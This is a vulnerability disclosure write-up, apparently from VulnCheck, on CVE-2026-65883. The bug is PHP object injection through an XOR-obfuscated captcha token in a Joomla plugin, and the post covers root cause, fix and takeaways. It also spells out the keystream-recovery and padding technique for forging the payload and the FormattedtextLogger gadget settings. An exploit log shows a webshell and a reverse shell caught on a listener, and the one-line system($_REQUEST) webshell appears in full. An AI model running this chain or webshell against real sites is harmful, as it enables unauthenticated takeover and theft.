Go back

Aimy Captcha-Less Form Guard: The Anti-Bot Plugin That Hands Bots the Keys

Valentin Lobstein (Chocapikk)

Valentin Lobstein (Chocapikk)

chocapikk.com

Today VulnCheck is disclosing CVE-2026-65883, an unauthenticated PHP object injection in Aimy Captcha-Less Form Guard, the Joomla captcha plugin published by Aimy Extensions (Netzum Sorglos Software GmbH). It is being disclosed in accordance with VulnCheck's coordinated vulnerability disclosure policy. The issue affects 18.0 through 20.0 and Aimy Extensions fixed it in 20.1, released the same day as this disclosure. On Joomla 3.9 through 5.2.1 it chains to remote code execution as the web user.

Background

Joomla's third-party ecosystem has had a bad 2026. The project runs its own CNA, so its output is filterable straight from NVD by source identifier, and the curve speaks for itself: 52 CVEs in 2025, and 132 through July of 2026. Three of this year's unauthenticated extension bugs were exploited in the wild and added to both VulnCheck KEV and the CISA KEV: CVE-2026-48907 in the JCE editor, where an unauthenticated caller creates an editor profile and uploads PHP through it, CVE-2026-48908 in SP Page Builder and CVE-2026-56290 in Page Builder CK, both unauthenticated file uploads. All three are CVSS 9.8. That is not the code getting worse, but rather an under-reviewed surface finally getting reviewed.

Joomla core is reasonably well audited. The extension directory is not: thousands of extensions, wildly uneven code quality, and very few eyes. Working through a batch of the freemium ones, this plugin stood out for an unusually ironic reason. It is an anti-spam plugin. Its entire job is to decide whether the thing filling out a form is a human or a bot, and it does that by planting a hidden state token in every protected form and reading it back on submit. Anything that reads attacker-controlled data back on every public form deserves a look, and this one reads it back through unserialize().

"Captcha-less" means there is no puzzle to solve. Instead the plugin plants a hidden field named clfgd plus a few invisible honeypot inputs and validates them server-side. The clfgd field is a PHP object, serialized, obfuscated and base64-encoded. The obfuscation is the entire security boundary, so that is where this starts.

Impact

An unauthenticated attacker who can reach any form the plugin protects gets:

  • Remote code execution as the web user on Joomla 3.9 through 5.2.1, through the FW1 gadget. That is the whole site: configuration, database credentials, and every other tenant on a shared host that trusts the same web user.
  • PHP object injection on every Joomla version, regardless of the gadget. What that reaches depends on the classes the site loads: core, other extensions, and any bundled library are all in scope for a different chain.
  • A total captcha bypass on every version. The plugin's actual product promise, keeping bots off public forms, fails open the moment its token can be forged.

What it is not

The short version: on a fully patched Joomla, this is not a guaranteed one-shot RCE. The plugin flaw is always present, but turning it into code execution needs a gadget, a ready-made code-execution primitive assembled from classes the site already loads, and the gadget this exploit uses lives in Joomla core, not in the plugin. That gadget (FormattedtextLogger) fires on Joomla 3.9 through 5.2.1; 5.2.2 hardened it so FormattedtextLogger::__wakeup throws before it can run, and none of the published phpggc gadget chains work as-is against a current 5.4, so on an up-to-date core the single-request RCE goes away.

What does not go away is the vulnerability itself. The object injection and the captcha bypass live in the plugin and are present on every version. On a patched core the only missing piece is a working gadget, and any other extension or bundled library on the site can supply one, which puts RCE back on the table. So the flaw is in the plugin; only the gadget that finishes the chain is tied to the Joomla version.

Deployment Exposure

This is a captcha plugin, which shapes where it runs. Nobody installs it on a static brochure site; it goes on sites that take public form submissions, and an administrator wires it to registration, contact, password reset, and whatever third-party forms they run. Every one of those becomes an unauthenticated code-execution endpoint, which is a particularly unkind outcome for a product whose entire purpose was to harden those exact forms.

It is also freemium, listed on the Joomla Extensions Directory under site security: a free Core edition and a paid PRO edition. Testing was done against the free Core 20.0. The PRO edition uses the same clfgd mechanism and, from the shared code layout, very likely the same XorHelper and onCheckAnswer, but it was not tested.

One footnote on measuring exposure: the captcha only renders on the forms an administrator attached it to, never on a homepage, so the internet-wide scanners that index homepages under-report this one badly. Absence of hits in Shodan or Censys is a property of how those crawlers work here, not a measure of the install base.

Root Cause Analysis

An unauthenticated PHP object injection (CWE-502) in Aimy Captcha-Less Form Guard 20.0 and earlier. onCheckAnswer() base64-decodes the clfgd request field, runs it through XorHelper::crypt() and hands the result to unserialize() before any other check:

$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
    $cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );
    if (empty($cld) or !is_object($cld)) {
        $this->log_reject('manipulated form: clfgd broken');
        return false;
    }
}

There is no signature, no allowed_classes, and no integrity check of any kind. The only thing between the request and unserialize() is a repeating-key XOR, and the plugin publishes a ciphertext for that keystream in every form it renders, which makes the keystream recoverable and the object forgeable.

Reachability is unauthenticated: the captcha runs on public forms, and Joomla's JForm::validate() evaluates every field's rule independently, so the captcha rule fires even when every other field in the form is empty or invalid.

Affected versions: Aimy Captcha-Less Form Guard 18.0 through 20.0. Fixed in: 20.1 (released 2026-07-29). Severity: Critical, CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), CWE-502 (Deserialization of Untrusted Data) leading to CWE-94 (Code Injection).

Inside XorHelper::crypt()

The plugin's idea of protecting its token lives in helpers/XorHelper.php:

static public function crypt($bytes, $key) {
    $ekey = str_split( self::getHashedKey($key) );   // sha512(k).sha256(k).sha1(k) = 232 hex chars
    $s    = str_split( strVal($bytes) );
    $slen = count($s);
    $klen = count($ekey);
    $val  = '';
    for ($i = 0; $i < $slen; $i++) {
        $val .= $s[$i] ^ $ekey[ $i % ($klen - 1) ];  // repeating key, period 231
    }
    return $val;
}

That is a Vigenère cipher wearing a hoodie. It obfuscates; it does not authenticate. Note the off-by-one while you are here: the derived key is 232 hex characters, but the loop indexes it modulo $klen - 1, so the keystream repeats every 231 bytes and the last character is never used. That period matters later.

The key itself is per-session:

static private function getXorKey() {
    $ses = Factory::getSession();
    $key = $ses->get('aimycaptchalessformguard.xorkey', false);
    if (empty($key)) { $key = sha1(uniqid('', true) . rand()); $ses->set('aimycaptchalessformguard.xorkey', $key); }
    return $key;
}

Per-session sounds defensive. It is the opposite: the key lives in the attacker's own session, so everything that follows happens inside one session with no second party, no timing window and no cross-user step.

The clfgd Token

Step 1: The plugin hands you the keystream

Recovering a repeating-key XOR normally means recovering the key. Here you do not have to, because the plugin encrypts a value you already know and prints it in the page. onDisplay() builds the token:

$cld->trap_ids = array($id, $trap_id);
$cld->mt       = time() + $this->params->get('mintime_seconds', 7);
$html .= sprintf('<input type="hidden" name="%s" value="%s" />', 'clfgd',
                 base64_encode( XorHelper::crypt( serialize($cld), self::getXorKey() ) ));

Every field of that plaintext is readable from the same response:

  • $id is the captcha field id, rendered as <span id="..._mark">.
  • $trap_id is random, but it is rendered as the name and id of the honeypot inputs.
  • mt is time() plus the configured minimum fill-out time, default 7 seconds.

So you hold a ciphertext and its exact plaintext. XOR them and the keystream falls out. A locked box, with the key taped to the lid.

That alone is a complete captcha bypass on every version: forge a benign stdClass with an empty trap_ids and an mt in the past, and onCheckAnswer() returns true forever. The anti-spam plugin now waves through every bot on the internet. But an unserialize() of attacker-controlled bytes is the more interesting prize.

Step 2: A keystream full of holes

The leaked plaintext is about 94 bytes. The XOR period is 231. So the keystream is known wherever p % 231 < 94 and unknown everywhere else, while any POP chain worth the name runs several hundred bytes and marches straight through those blind spots. At first glance the budget kills the RCE.

It does not, and this is the one genuinely interesting hop in the chain. unserialize() does not care what is inside a string value, only that the declared length and the closing delimiter are right. So you let the unknown-keystream bytes fall inside the content of a string, as long as every structural byte, the class names, the property names, the lengths and the payload, lands on an offset you control. PHP also keeps properties a class never declared, so padding string properties can be scattered at any nesting level to steer the layout.

The aligner walks the serialized object and, whenever a hole is about to land on a structural byte, inserts a padding property whose string content swallows the hole and whose delimiters land back on known offsets. Whatever the server XORs into those positions becomes garbage inside a padding string nobody reads. You control the skeleton; the noise hides in the padding. Less cryptography than careful bookkeeping.

Step 3: Landing the shell

With arbitrary unserialize() on Joomla, the gadget to reach for is Joomla\CMS\Log\Logger\FormattedtextLogger::__destruct, phpggc's Joomla/FW/1, a file write to an attacker-chosen path. phpggc scopes it to 3.9.0 <= 5.2.1; Joomla PR #44428, shipped in 5.2.2, makes __wakeup throw for a deferred logger and kills it. Point the write at a relative filename, and because the web process runs from the webroot, a PHP file lands there and is requested directly.

Two details the lab insisted on. LogEntry->date has to be exactly 10 characters with time set, otherwise formatLine() calls ->toISO8601() on a plain string and the chain dies before the write. And format and fields have to be set explicitly, because the constructor never runs on deserialization and formatLine() would otherwise write raw {PLACEHOLDER}s instead of the payload. The chain also sets the logger's text_file_no_php option, which suppresses the #<?php die('Forbidden.'); ?> guard Joomla normally writes at the top of a log file, and which would otherwise stop the dropped file from executing.

Step 4: The reliability part nobody expects

You would think this needs a valid registration: a password that meets policy, a unique email, the usual dance. It does not. Joomla's JForm::validate() runs every field's rule and accumulates the errors instead of bailing at the first one. The captcha field validates, onCheckAnswer() fires, and unserialize() runs, even when every other field is empty or garbage. A POST carrying only clfgd, the empty trap field and the CSRF token is enough to trigger the gadget.

That is why the exploit never guesses an application field, and it is what makes it reliable across sites regardless of their registration policy. It is also not tied to registration: any form an administrator wired this captcha to, core or third-party, is a trigger.

Initial Access exploit

VulnCheck's Initial Access Intelligence team turned this into a self-contained go-exploit module. It fingerprints the plugin and the Joomla version, walks the core front-end forms until one renders the captcha, recovers the keystream from the token that form published, aligns the FW1 object around the holes, drops a webshell in the webroot and removes it on the way out:

chocapikk@pwntoaster:~/feed/cve-2026-65883$ ./build/cve-2026-65883_linux-amd64 -v -e -rhost 172.22.0.3 -rport 80 -lhost 172.17.0.1 -lport 4492 -c2 SimpleShellServer
time=2026-07-27T13:10:15.770+02:00 level=STATUS msg="Starting listener on 172.17.0.1:4492"
time=2026-07-27T13:10:15.771+02:00 level=STATUS msg="Validating Aimy Extensions Captcha-Less Form Guard target" host=172.22.0.3 port=80
time=2026-07-27T13:10:15.795+02:00 level=SUCCESS msg="Target verification succeeded!" host=172.22.0.3 port=80 verified=true
time=2026-07-27T13:10:16.064+02:00 level=STATUS msg="Captcha form /index.php?option=com_users&view=registration (field jform_captcha, trap haceadi0)"
time=2026-07-27T13:10:16.064+02:00 level=STATUS msg="Recovered 94 bytes of keystream, aligned a 1460 byte object around the 231 byte period"
time=2026-07-27T13:10:16.064+02:00 level=STATUS msg="Writing fdffwhsg.php through FormattedtextLogger::__destruct"
time=2026-07-27T13:10:16.198+02:00 level=SUCCESS msg="Webshell planted at http://172.22.0.3:80/fdffwhsg.php"
time=2026-07-27T13:10:16.198+02:00 level=STATUS msg="Firing the connect-back payload through the webshell"
time=2026-07-27T13:10:16.217+02:00 level=SUCCESS msg="Caught new shell from 172.22.0.3:60908"
time=2026-07-27T13:10:17.222+02:00 level=STATUS msg="Removed the planted webshell fdffwhsg.php"
time=2026-07-27T13:10:17.222+02:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
exit
time=2026-07-27T13:10:29.777+02:00 level=STATUS msg="C2 received shutdown, killing server and client sockets for shell server"

The dropped file is worth a look, because it is what the detection keys on. It is a Joomla log file that happens to be PHP:

#Date: 2026-07-27 09:25:32 UTC
#Software: Joomla! 5.1.4 Stable [ Kudumisha ] 27-August-2024 16:00 GMT

#Fields: message
<?php echo"..."; system($_REQUEST["c"]);

Full Chain

Unauthenticated attacker
  |
  | GET  /index.php?option=com_users&view=registration
  |        <- clfgd  (ciphertext)
  |        <- captcha field id + trap field id  (the plaintext)
  v
keystream = ciphertext XOR serialize(stdClass{trap_ids, mt})   ~94 bytes of a 231-byte period
  |
  | align FormattedtextLogger object: structure on known offsets,
  | holes buried inside padding-string content
  v
  | POST /index.php/component/users/?task=registration.register
  |   clfgd = base64(aligned object XOR keystream)
  |   trap  = ""            (empty, or the plugin rejects)
  |   token = CSRF from the same form
  v
onCheckAnswer() -> unserialize() -> FormattedtextLogger::__destruct
  |
  | writes <random>.php into the webroot
  v
GET /<random>.php?<param>=<command>      RCE as the web user

Timeline

DateEvent
2026-07-26Vulnerability discovered during a Joomla extension audit
2026-07-26Unauthenticated object injection and RCE reproduced end to end in a lab
2026-07-27Reported through the VulnCheck CNA for CVE assignment and vendor coordination
2026-07-29Fixed by Aimy Extensions in v20.1
2026-07-29Published by the Joomla CNA as CVE-2026-65883
2026-07-30Public disclosure

Fix

Aimy Extensions shipped 20.1 the same day, and it takes the first of the two options below. The clfgd state is now json_encode()d on the way out and read back with json_decode() instead of unserialize():

// 20.0
$cld = @unserialize( XorHelper::crypt( base64_decode( $clfgd ), self::getXorKey() ) );
// 20.1
$cld = @json_decode( XorHelper::crypt( base64_decode( $clfgd ), self::getXorKey() ) );

json_decode() instantiates no PHP objects, so a forged token can no longer carry a POP gadget and the remote code execution is closed. That is the right minimal fix for the RCE.

What 20.1 leaves in place is the token's integrity. The value is still a repeating-key XOR over a plaintext the plugin prints in the same response, with no MAC, so an attacker can still recover the keystream and forge a valid clfgd. That is now only a captcha bypass rather than code execution, but the obfuscation is still the security model. Signing the token would close that too:

$payload = base64_encode(json_encode($cld));
$mac     = hash_hmac('sha256', $payload, self::getKey());
// on check:
if (!hash_equals($mac, hash_hmac('sha256', $payload, self::getKey()))) return false;
$cld = json_decode(base64_decode($payload));

hash_equals for the comparison, so a forged token is rejected before it is decoded at all.

Takeaways

"Encrypted, so it's safe" is the myth that will not die. A repeating-key XOR over a value the application itself publishes in the same response is not encryption, it is a keystream giveaway with extra steps. The moment obfuscated attacker input reaches unserialize(), the obfuscation is the security model, and here it was made of wet paper. Confidentiality is not integrity; only a MAC is integrity.

The second lesson is about budgets. A partially-known keystream looks like a hard stop until you notice that a serialized string's content is a perfectly good hiding place for bytes you do not control. Constraints on an exploitation primitive are worth measuring before they are accepted, because "the window is too small" is a statement about the payload's layout far more often than about the bug.

Operators running Aimy Captcha-Less Form Guard should update to 20.1, which removes the deserialization sink. Anyone still on 18.0 through 20.0 should treat every protected form as an unauthenticated deserialization endpoint, and Joomla installs below 5.2.2 as directly exploitable; updating Joomla core to 5.2.2 or later removes this particular gadget but not the object injection itself.

Further reading: For another VulnCheck Initial Access Intelligence deep-dive, read Monsta FTP: An SSRF Blocklist That Forgot IPv6 Exists.

About VulnCheck

VulnCheck empowers organizations to transcend the challenges of vulnerability prioritization. Our suite of solutions provides product managers, PSIRT teams, and threat hunters with the tools required for accelerated, high-precision operations and infinite efficiency.

Recognizing the industry-wide necessity for superior data velocity and accuracy, we deliver high-fidelity insights to the market. We remain committed to surfacing critical intelligence on vulnerability exploitation and emerging trends, leveraging our unique dataset to support the practitioner community.

To deepen your understanding of these threats, VulnCheck Exploit & Vulnerability Intelligence provides comprehensive coverage of global threat actors. Register for a demo to explore our intelligence today.

Ready to get Started?

Explore VulnCheck, a next-generation Cyber Threat Intelligence platform, which provides exploit and vulnerability intelligence to help you prioritize and remediate vulnerabilities that matter.
  • Vulnerability Prioritization
    Prioritize vulnerabilities that matter based on the threat landscape and defer vulnerabilities that don't.
  • Early Warning System
    Real-time alerting of changes in the vulnerability landscape so that you can take action before the attacks start.